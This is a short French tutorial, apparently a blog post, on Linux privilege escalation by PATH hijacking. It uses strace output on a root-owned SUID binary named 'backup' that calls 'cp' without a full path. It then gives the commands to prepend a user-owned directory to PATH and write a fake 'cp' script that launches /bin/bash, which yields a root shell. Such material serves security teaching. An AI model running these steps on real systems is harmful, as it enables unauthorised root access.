Réécriture du PATH pour obtenir davantage d’accès

Lorsque qu’un programme s’exécute avec les droits du propriétaire (SUID), il est peut être possible de modifier le chemin d’accès PATH pour que celui exécute autre chose que ce qui était prévu au départ


 r0cker@ubuntu:~/secret$ ls -lsa
ls -lsa
total 40
 4 drwxrwx--- 2 r0cker r0cker  4096 Jun 27 05:29 .
 4 drwxr-xr-x 6 r0cker r0cker  4096 Jun 27 05:30 ..
20 -rwsr-xr-x 1 root      root      16904 Nov 18  2020 backup

par exemple, on se rend compte qu’un utilitaire SUID est vulnérable en lisant le code source ou en utilisant l’utilitaire strace pour espionner les entrées / sorties .

Il est évident que backup s’exécute ici avec les privilèges de l’administrateur.

en utilisant “strace backup”, on se rend compte que backup appelle cp mais sans spécifier le chemin complet


mprotect(0x7f7d9dddc000, 2097152, PROT_NONE) = 0
mmap(0x7f7d9dfdc000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1e7000) = 0x7f7d9dfdc000
mmap(0x7f7d9dfe2000, 15072, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f7d9dfe2000
close(3)                                = 0
arch_prctl(ARCH_SET_FS, 0x7f7d9e2094c0) = 0
mprotect(0x7f7d9dfdc000, 16384, PROT_READ) = 0
mprotect(0x55f754c3b000, 4096, PROT_READ) = 0
mprotect(0x7f7d9e20f000, 4096, PROT_READ) = 0
munmap(0x7f7d9e20a000, 19180)           = 0
setuid(0)                               = -1 EPERM (Operation not permitted)
setgid(0)                               = -1 EPERM (Operation not permitted)
rt_sigaction(SIGINT, {sa_handler=SIG_IGN, sa_mask=[], sa_flags=SA_RESTORER, sa_restorer=0x7f7d9dc34040}, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
rt_sigaction(SIGQUIT, {sa_handler=SIG_IGN, sa_mask=[], sa_flags=SA_RESTORER, sa_restorer=0x7f7d9dc34040}, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
clone(child_stack=NULL, flags=CLONE_PARENT_SETTID|SIGCHLD, parent_tidptr=0x7ffc0aa81edc) = 2784
wait4(2784, cp: cannot stat '/home/user/r0cker/myfiles/*': No such file or directory
[{WIFEXITED(s) && WEXITSTATUS(s) == 1}], 0, NULL) = 2784
rt_sigaction(SIGINT, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=SA_RESTORER, sa_restorer=0x7f7d9dc34040}, NULL, 8) = 0
rt_sigaction(SIGQUIT, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=SA_RESTORER, sa_restorer=0x7f7d9dc34040}, NULL, 8) = 0
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=2784, si_uid=1001, si_status=1, si_utime=0, si_stime=0} ---

on peut donc modifier le chemin d’accès pour qu’un répertoire sous notre contrôle ait la priorité sur les exécutables systèmes


export PATH=/home/r0cker/secret:$PATH

Par la suite, on crée le script souhaité


cat << EOF > /home/r0cker/secret/cp
#!/bin/bash
/bin/bash
EOF

Leave a Reply